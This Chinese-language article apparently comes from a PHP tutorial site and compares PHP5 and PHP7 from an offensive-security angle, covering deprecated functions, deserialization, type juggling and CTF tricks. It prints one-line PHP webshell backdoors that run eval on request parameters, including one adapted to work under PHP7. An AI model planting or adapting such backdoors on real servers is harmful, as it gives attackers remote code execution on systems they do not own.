函數修改
preg_replace()不再支援/e修飾符
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
利用\e修飾符執行程式碼的後門大家也用了不少了,具體看官方的這段描述:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
很不幸,在PHP7以上版本不在支持\e修飾符,同時官方給了我們一個新的函數preg_replace_callback:
推薦手冊:PHP7新特性手冊
#這裡我們稍微改動一下就可以利用它當我們的後門:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function()被廢棄
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
少了一個可以利用當後閘的函數,實際上它是透過執行eval實現的。可有可無。
mysql_*系列全員移除
如果你要在PHP7上面用舊版的mysql_*系列函數需要你自己去額外裝了,官方不在自帶,現在官方推薦的是mysqli或pdo_mysql。這是否預示著未來SQL注入漏洞在PHP上的大幅減少呢~
我已经很久没在目标站上挖到过sql注入了,全都是预编译!
unserialize()增加一個可選白名單參數
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
其實就是一個白名單,如果反序列資料裡面的類別名稱不在這個白名單內,就會報錯。
像這樣的報錯!
可以是類別名稱也可以是布林數據,如果是FALSE就會將所有的物件轉換為__PHP_Incomplete_Class物件。 TRUE是無限制。也可以傳入類別名稱實現白名單。
还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
assert()預設不在可以執行程式碼
這就是眾多馬不能用的罪魁禍首了,太多的馬用assert()來執行程式碼了,這個更新基本上就團滅,一般情況下修改成eval即可正常運行了~
語法修改
foreach不再改變內部數組指針
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
這樣的程式碼在php5中,是這樣的執行結果:
因為陣列最後一個元素的$value 引用在foreach 迴圈之後仍會保留,在第二個迴圈的時候其實是對先前的指標不斷的賦值。 php7中透過值遍歷時,操作的值為陣列的副本,不會對後續操作進行影響。
這個改變影響了某些cms的洞在PHP7上無法利用了….你知道我指的是哪個洞的。
这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
8進位字元容錯率降低
在php5版本,如果一個八進位字元如果含有無效數字,則無效數字將會被靜默刪節。
<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
例如這樣的程式碼在php5中的執行結果如下:
但是在php7裡面會觸發一個解析錯誤。
这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
十六進位字串不再被認為是數字
這個修改一出,以後CTF套路會少很多~
很多騷操作都不能用了~
這個沒什麼好說的,大家都懂。
<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
以上程式碼在PHP5運行結果如下:
PHP7運行結果如下:
你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
移除了ASP 和script PHP 標籤
現在只有
字面意思,影响其实不是很大(只是以后骚套路会少一点)。
超大浮點數類型轉換截斷
將浮點數轉換為整數的時候,如果浮點數數值太大,導致無法以整數表達的情況下,在PHP5的版本中,轉換會直接將整數截斷,並不會引發錯誤。在PHP7中,會報錯。
CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
雜項
exec(), system() passthru()函数对 NULL 增加了保护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 方法被废弃 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。 统一不同平台下的整型长度 session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程
相关推荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!
以上是PHP7和PHP5在安全上的差異(實例)的詳細內容。更多資訊請關注PHP中文網其他相關文章!